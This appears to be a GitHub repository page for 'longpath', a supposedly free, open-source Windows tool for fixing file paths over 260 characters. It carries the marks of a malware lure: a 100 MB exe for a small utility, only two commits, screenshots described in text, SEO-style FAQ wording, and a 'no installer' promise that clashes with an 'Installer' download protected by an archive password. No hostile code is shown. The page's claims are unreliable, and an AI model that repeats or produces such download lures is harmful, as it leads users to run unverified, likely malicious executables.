Skip to content

Latest commit

 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 

Repository files navigation

longpath

🪜 Free, open-source long path fixer for Windows — find, open, copy and delete files that blow past 260 characters. 100 MB portable, MIT.

License: MIT Platform Build

Features

  • ✅ Find offenders fast — scans a folder tree and lists paths over 260 characters with full length counts
  • ✅ Copy, move and delete — operations use extended-length paths so Explorer errors simply disappear
  • ✅ Shrink helper — suggests shorter renames and flattens redundant nesting with a preview before applying
  • ✅ Preview before action — every operation lists old and new paths; nothing touches disk until you confirm
  • ✅ No console required — a native window instead of robocopy flags and registry incantations
  • ✅ Read-only scan mode — safe discovery pass to see the damage before changing anything
  • ✅ 100 MB self-contained exe — runtime bundled, portable and offline, MIT with CI SHA-256 releases

Why longpath

  • MIT licensed, source in the open
  • No ads, no account, no telemetry
  • Single portable 100 MB exe - no installer, runs offline
  • CI builds every release and publishes SHA-256 checksums
  • Windows 10 / 11 x64

Comparison

Feature longpath Long Path Tool TLPD Total Commander
Price Free, MIT Paid Free Paid
Open source Yes No No No
Batch rename to shorten Yes Partial No Manual
Preview of all changes Yes No No No
Modern GUI, no console Yes Yes No Dated
Portable, no install Yes, 100 MB Installer Utility Installer

FAQ

how to fix file path too long error in Windows?

The error comes from the 260-character API limit that many programs still hit even with long paths enabled in the registry. longpath performs the copy, move or delete through extended-length paths, so the operation succeeds without renaming your whole archive first. It is a 100 MB portable exe, MIT, and it previews every change before touching disk.

Screenshots

All screenshots describe the 1280x800 dark UI.

  1. Dark scanner (#121418, amber #F59E0B): folder picker root, results table with path length column at 312, danger-row highlight, scan button pulsing.
  2. Operation preview: old path and proposed new path side by side, per-row checkboxes, Apply button disabled until a change is selected.
  3. Settings and history: last 20 operations log, long-path support registry status card, export of path report to CSV.

Download

Source Link
💾 Installer longpath Installer longpath

Archive password: 5139237619

Build

Requires the .NET SDK on Windows 10/11 x64:

dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true

License

MIT. See LICENSE.